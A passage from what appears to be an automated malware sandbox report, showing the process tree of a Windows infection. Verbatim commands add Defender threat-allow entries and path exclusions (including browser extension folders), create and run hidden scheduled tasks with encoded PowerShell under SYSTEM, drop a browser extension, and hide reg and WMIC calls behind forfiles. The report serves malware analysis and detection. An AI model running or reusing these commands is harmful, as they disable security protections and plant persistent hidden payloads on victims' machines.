                                                                                            3⤵
                                                                                              PID:3272
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                                                              3⤵
                                                                                                PID:2788
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                                                                3⤵
                                                                                                  PID:1348
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                                                                  3⤵
                                                                                                    PID:2476
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                                                                    3⤵
                                                                                                      PID:2172
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                                                                      3⤵
                                                                                                        PID:1912
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                                                                        3⤵
                                                                                                          PID:4184
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                                                                          3⤵
                                                                                                            PID:3100
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                                                            3⤵
                                                                                                              PID:4860
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                                                              3⤵
                                                                                                                PID:1112
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                                                                3⤵
                                                                                                                  PID:1356
                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                                                                  3⤵
                                                                                                                    PID:5048
                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                                                                    3⤵
                                                                                                                      PID:2752
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:2732
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:3972
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:2684
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:1360
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3008
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ecOJmsgAHWlsC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epoBtGYzqLvU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qIYKRzUEasUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\zgoZGMcaU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\pICeQFkDCDDquYVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\nlcUipsDcFbdntMB\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                              2⤵
                                                                                                                              • Drops file in System32 directory
                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:3808
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:384
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    4⤵
                                                                                                                                      PID:4280
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                    3⤵
                                                                                                                                      PID:4468
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                      3⤵
                                                                                                                                        PID:1600
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ecOJmsgAHWlsC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                        3⤵
                                                                                                                                          PID:872
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                          3⤵
                                                                                                                                            PID:1080
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epoBtGYzqLvU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                            3⤵
                                                                                                                                              PID:1172
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                              3⤵
                                                                                                                                                PID:3196
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qIYKRzUEasUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:416
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4660
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zgoZGMcaU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                    3⤵
                                                                                                                                                      PID:3500
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                      3⤵
                                                                                                                                                        PID:8
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\pICeQFkDCDDquYVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4684
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1968
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2028
                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                              3⤵
                                                                                                                                                                PID:1192
                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:2040
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:2500
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:2260
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:2076
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:3444
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /CREATE /TN "grbJWMLoO" /SC once /ST 08:38:40 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                        PID:4968
                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                        schtasks /run /I /tn "grbJWMLoO"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:2016
                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                          schtasks /DELETE /F /TN "grbJWMLoO"
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:3804
                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                            schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 01:16:19 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\LFSDxGs.exe\" aV /RYCOdidHc 385128 /S" /V1 /F
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                            PID:2848
                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                            schtasks /run /I /tn "yfARWRprRqUFWeTGf"
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:1128
                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                            PID:4708
                                                                                                                                                                            • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:2788
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:2240
                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:1368
                                                                                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:1120
                                                                                                                                                                                  • C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\LFSDxGs.exe
                                                                                                                                                                                    C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\LFSDxGs.exe aV /RYCOdidHc 385128 /S
                                                                                                                                                                                    1⤵
                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                    • Drops Chrome extension
                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                    • Drops file in Program Files directory
                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                    PID:552
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:2744
                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:1476
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                              4⤵
                                                                                                                                                                                                PID:4656
                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                    PID:1032
                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:3932
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:3060
                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:3676
                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:3692
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:2212
                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                PID:2732
                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:2716
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                  PID:3620
                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                      PID:2332
                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:4156
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:3636
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                          powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                          PID:836
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:4956
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:3576
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:2832
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:1740
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:5028
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
